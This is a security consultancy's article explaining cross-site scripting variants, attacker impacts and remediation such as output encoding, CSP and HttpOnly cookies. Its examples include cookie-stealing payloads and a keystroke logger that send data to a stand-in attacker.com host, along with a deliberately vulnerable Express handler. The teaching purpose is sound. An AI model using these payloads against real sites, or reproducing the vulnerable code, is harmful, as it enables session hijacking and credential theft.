Cybreach Consulting Prendre RDV
Back to articles
Vulnerabilities

XSS - Cross-Site Scripting: injecting code into a victim's browser

Cross-Site Scripting (XSS) allows an attacker to inject arbitrary JavaScript code into a victim's browser. That code runs in the context of your domain, with the same rights as your application: access to session cookies, localStorage, the DOM, forms. The impact depends only on what the attacker chooses to do with it.

The three variants

Reflected XSS: The injection travels through an HTTP request (URL parameter, form field) and is immediately echoed back in the response without encoding. The attacker sends a crafted link to the victim. The code executes as soon as the link is opened.

Example: crafted URL with reflected XSS

https://example.com/search?q=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>

Stored (Persistent) XSS: The payload is persisted to the database (comment, message, profile) and displayed to other users. This is the most dangerous variant: a single injection can hit thousands of victims without them clicking anything.

Example: payload in a comment field

<!-- Saisi dans un champ commentaire, affiché à tous les visiteurs -->
<script>
  fetch('https://attacker.com/steal', {
    method: 'POST',
    body: JSON.stringify({ cookie: document.cookie, url: location.href })
  });
</script>

DOM-based XSS: The payload is never sent to the server. It is injected directly into the DOM by client-side JavaScript that reads untrusted data (URL fragment, postMessage, localStorage) and inserts it without encoding.

Example: vulnerable client-side code

// Code vulnérable : lit le fragment d'URL et l'insère en innerHTML
const name = decodeURIComponent(location.hash.slice(1));
document.getElementById('welcome').innerHTML = 'Bonjour ' + name;

// Attaque : naviguer vers
// page.html#<img src=x onerror="fetch('https://attacker.com?c='+document.cookie)">

What an attacker can do with XSS

Session theft: If the session cookie is not flagged HttpOnly, JavaScript can read it and send it to a remote server. The attacker replays that cookie and is now logged in as the victim.

Session cookie theft

// Payload injecté - envoie le cookie vers le serveur de l'attaquant
new Image().src = 'https://attacker.com/c?' + encodeURIComponent(document.cookie);

Keylogger: The injected script listens for keyboard events and sends every keystroke to a remote server. On a login page, the attacker captures credentials in plain text.

Keylogger injected via XSS

document.addEventListener('keydown', (e) => {
  fetch('https://attacker.com/keys', {
    method: 'POST',
    body: JSON.stringify({ key: e.key, target: document.activeElement?.name })
  });
});

Phishing overlay: The script injects a fake login window over the real page, styled to match the legitimate site. The user enters credentials into the fake form, which sends them straight to the attacker.

Forced CSRF: The script performs actions in the background on the victim's behalf: changing the email address, transferring funds, deleting data, without the victim seeing anything.

What doesn't work

Filtering <script> tags on input is not sufficient protection. There are hundreds of XSS vectors without a script tag: event attributes (onerror, onload, onclick), <img>, <svg>, <iframe> tags, alternative encodings (unicode, URL, HTML entities).

XSS payloads without a script tag

<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>
<svg onload=alert(document.cookie)>
<a href="javascript:void(fetch('https://attacker.com?c='+document.cookie))">cliquez ici</a>
<input autofocus onfocus=fetch('https://attacker.com?c='+document.cookie)>

A keyword blacklist (javascript, onerror, alert...) doesn't hold: encoding, case variation, and Unicode characters allow bypassing almost any blacklist.

Remediation

1. Systematic output encoding: This is the fundamental protection. Any untrusted data inserted into HTML must be encoded according to the context in which it is inserted.

Vulnerable: direct concatenation into HTML

// Node.js / Express
app.get('/search', (req, res) => {
  res.send(`<p>Résultats pour : ${req.query.q}</p>`);
});

Correct: HTML encoding the value

function escapeHTML(str) {
  return String(str)
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#x27;');
}

app.get('/search', (req, res) => {
  res.send(`<p>Résultats pour : ${escapeHTML(req.query.q)}</p>`);
});

In practice, use a templating engine with automatic escaping: Jinja2 (Python), Blade (Laravel), Handlebars, EJS, or Thymeleaf (Java). They encode variables by default. Be wary of unencoded render directives (|safe, {{{}}}, v-html), use them only for controlled content.

2. Never use innerHTML with user data: In client-side JavaScript, prefer textContent for plain text. If you need to insert dynamic HTML, use DOMPurify to sanitise the content before insertion.

Safe DOM insertion

// Dangereux
document.getElementById('output').innerHTML = userInput;

// Pour du texte brut
document.getElementById('output').textContent = userInput;

// Pour du HTML maîtrisé (nécessite DOMPurify)
import DOMPurify from 'dompurify';
document.getElementById('output').innerHTML = DOMPurify.sanitize(userInput);

3. Content Security Policy (CSP): A well-configured CSP header prevents the execution of unauthorised scripts, even if an XSS is present. It's a defence-in-depth layer: it doesn't replace output encoding, but drastically reduces the impact of a residual flaw.

Restrictive CSP header

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self';

4. HttpOnly cookies: Marking the session cookie HttpOnly prevents JavaScript from reading it, eliminating the most common session theft vector. Combine with Secure (HTTPS only) and SameSite=Strict.

Secure session cookie configuration

Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=3600

Protection summary

  1. HTML-encode all untrusted data inserted into the response: this is the fundamental rule
  2. Use textContent rather than innerHTML for client-side DOM insertions
  3. Deploy a strict Content Security Policy (CSP), in report-only mode first to measure impact
  4. Session cookies with HttpOnly; Secure; SameSite=Strict
  5. Audit usages of innerHTML, document.write, eval and equivalents in your codebase

A question after reading?

Doubts about how your application handles user input? Send a message.

Or book a 30-minute scoping call directly

Book a call